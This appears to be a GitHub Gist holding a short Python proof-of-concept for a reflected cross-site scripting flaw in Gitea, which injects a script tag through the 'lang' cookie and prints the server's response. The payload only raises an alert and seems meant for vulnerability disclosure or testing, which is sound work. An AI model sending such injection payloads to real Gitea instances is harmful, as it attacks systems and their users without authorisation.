Skip to content

Instantly share code, notes, and snippets.

@HouqiyuA
Created April 28, 2025 12:58
Show Gist options
  • Select an option

  • Save HouqiyuA/a74d07f7730b69dfa6ce9f14b4750095 to your computer and use it in GitHub Desktop.

Select an option

Save HouqiyuA/a74d07f7730b69dfa6ce9f14b4750095 to your computer and use it in GitHub Desktop.
gitea-reflected xss
import requests
TARGET_URL = "http://GITEAHOST/"
cookies = {
'lang': 'en-US"><script>alert("XSS")</script>'
}
def test_xss():
print("=== Starting XSS Test via Cookie Injection ===")
try:
print("\n[Request]")
print(f"URL: {TARGET_URL}")
print(f"Cookies: {cookies}")
response = requests.get(TARGET_URL, cookies=cookies, timeout=10)
print("\n[Response]")
print(f"Status Code: {response.status_code}")
print("Headers:")
for header, value in response.headers.items():
print(f"{header}: {value}")
print("\nBody:")
print(response.text)
except requests.RequestException as e:
print(f"[!] Error occurred: {e}")
if __name__ == "__main__":
test_xss()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment